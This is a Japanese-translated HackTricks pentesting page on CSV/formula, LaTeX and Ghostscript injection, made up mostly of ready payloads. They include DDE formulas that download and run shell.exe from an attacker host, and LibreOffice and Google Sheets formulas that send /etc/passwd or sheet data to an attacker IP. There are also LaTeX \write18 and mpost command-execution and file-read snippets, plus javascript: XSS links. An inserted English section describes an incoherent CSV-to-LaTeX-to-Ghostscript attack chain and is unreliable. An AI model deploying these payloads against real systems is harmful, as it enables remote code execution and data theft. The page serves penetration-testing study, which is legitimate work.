hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

15 KiB
Raw Blame History

フォーミュラ/CSV/ドキュメント/LaTeX/GhostScript インジェクション

htARTE (HackTricks AWS Red Team Expert) で **ゼロからヒーローまでのAWSハッキングを学ぶ**

HackTricks をサポートする他の方法:

最も重要な脆弱性を見つけて修正できるようにしましょう。Intruder はあなたの攻撃範囲を追跡し、積極的な脅威スキャンを実行し、API から Web アプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。無料でお試しください 今すぐ。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


フォーミュラ インジェクション

情報

もし 入力CSVファイル(またはおそらく Excel で開かれる可能性のある他のファイル)内に 反映 されている場合、Excel フォーミュラ を入れて、ユーザーがファイルを 開いたとき や Excel シート内のリンクを クリックしたとき実行 されるかもしれません。

{% hint style="danger" %} 現在、Excel は外部から読み込まれたものを警告(何度も)し、悪意ある行動を防ぐためにユーザーに警告します。そのため、最終ペイロードにはソーシャルエンジニアリングに特別な注意が必要です。 {% endhint %}

ワードリスト

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

ハイパーリンク

次の例は、最終的なExcelシートからコンテンツを外部に流出させ、任意の場所にリクエストを実行するのに非常に役立ちます。ただし、リンクをクリックして警告プロンプトを受け入れる必要があります

次の例は、https://payatu.com/csv-injection-basic-to-exploit から取得されました。

学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用に用意されたフィールドに有害な数式を入力することで実現されます。攻撃は次のように展開されます

  1. 悪意のあるペイロードの注入:
  • 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:=HYPERLINK("<malicious_link>","Click here"))を含めます。
  • この数式はハイパーリンクを作成するように設計されていますが、それは攻撃者が制御する悪意のあるサーバーを指します。
  1. 侵害されたデータのエクスポート:
  • 侵害に気づかない教師は、データをCSVファイルにエクスポートするためにアプリケーションの機能を使用します。
  • 開かれたCSVファイルには、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
  1. 攻撃のトリガー:
  • 教師が学生の詳細の正当な部分と信じてハイパーリンクをクリックします。
  • クリックすると、機密データ(スプレッドシートや教師のコンピュータからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。
  1. データの記録:
  • 攻撃者のサーバーは、教師のコンピュータから送信された機密データを受信して記録します。
  • 攻撃者はこのデータをさまざまな悪意のある目的に使用し、学生や機関のプライバシーとセキュリティをさらに危険にさらすことができます。

RCE

詳細については、元の投稿 をご確認ください。

特定の構成や古いバージョンのExcelでは、Dynamic Data ExchangeDDEと呼ばれる機能を利用して任意のコマンドを実行することができます。これを活用するには、次の設定を有効にする必要があります

  • ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツに移動し、Dynamic Data Exchange Server Launch を有効にします。

悪意のあるペイロードが含まれたスプレッドシートが開かれると(ユーザーが警告を受け入れた場合)、ペイロードが実行されます。たとえば、電卓アプリケーションを起動するには、ペイロードは次のようになります:

`=cmd|' /C calc'!xxx`

追加のコマンドも実行できます。例えば、PowerShellを使用してファイルをダウンロードして実行することができます。

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LibreOffice Calc でのローカルファイルインクルージョンLFI

LibreOffice Calc はローカルファイルを読み取り、データを外部に送信するために使用できます。以下はいくつかの方法です:

  • ローカルの /etc/passwd ファイルから最初の行を読み取る:='file:///etc/passwd'#$passwd.A1
  • 読み取ったデータを攻撃者が制御するサーバーに送信する:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • 複数行を送信する:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS エクスフィルトレーション(読み取ったデータを DNS クエリとして攻撃者が制御する DNS サーバーに送信する):=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets を使用した Out-of-BandOOBデータエクスフィルトレーション

Google Sheets は、OOB データエクスフィルトレーションに悪用できる関数を提供しています:

  • CONCATENATE: 文字列を連結します - =CONCATENATE(A2:E2)
  • IMPORTXML: 構造化データからデータをインポートします - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: RSS または ATOM フィードをインポートします - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: HTML テーブルやリストからデータをインポートします - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: 他のスプレッドシートからセルの範囲をインポートします - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: 画像をセルに挿入します - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX インジェクション

通常、LaTeX コードを PDF に変換するインターネット上のサーバーは pdflatex を使用します。
このプログラムは、コマンドの実行を(無効にする)許可するために 3 つの主要な属性を使用します:

  • --no-shell-escape: \write18{command} 構造を無効にします。たとえ texmf.cnf ファイルで有効になっていても。
  • --shell-restricted: --shell-escape と同じですが、'安全' な事前定義された **コマンドに **制限されますUbuntu 16.04 では、リストは /usr/share/texmf/web2c/texmf.cnf にあります)。
  • --shell-escape: \write18{command} 構造を有効にします。コマンドは任意のシェルコマンドです。通常、この構造はセキュリティ上の理由から許可されていません。

ただし、コマンドを実行する他の方法もありますので、RCE を回避するために --shell-restricted を使用することが非常に重要です。

ファイルの読み取り

[ または $ などのラッパーを使用してインジェクションを調整する必要があるかもしれません。

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

1行のファイルを読む

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

複数行のファイルを読む

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

ファイルの書き込み

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

コマンド実行

コマンドの入力は stdin にリダイレクトされます。それを取得するために一時ファイルを使用します。

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Formula CSV Document LaTeX Ghostscript Injection


Attack Scenario

An attacker can craft a malicious CSV file containing a formula that, when opened with a vulnerable application, triggers a LaTeX injection. This injection can lead to the execution of arbitrary commands on the victim's machine through Ghostscript.

Exploitation

  1. Craft a CSV file with a formula that includes LaTeX injection payload.
  2. Send the malicious CSV file to the victim or host it on a website for the victim to download.
  3. When the victim opens the CSV file with a vulnerable application, the LaTeX injection triggers.
  4. Ghostscript processes the injected LaTeX code and executes the attacker's commands.

Impact

Successful exploitation of this vulnerability can result in the attacker gaining remote code execution capabilities on the victim's machine. This can lead to further compromise of the system and unauthorized access to sensitive information.

Mitigation

  • Avoid opening CSV files from untrusted sources.
  • Regularly update applications to patch known vulnerabilities that could be exploited through file parsing functionalities.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

クロスサイトスクリプティング

@EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

https://blog.redteam-pentesting.de/2023/ghostscript-overview/

参考文献

重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください 今日。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法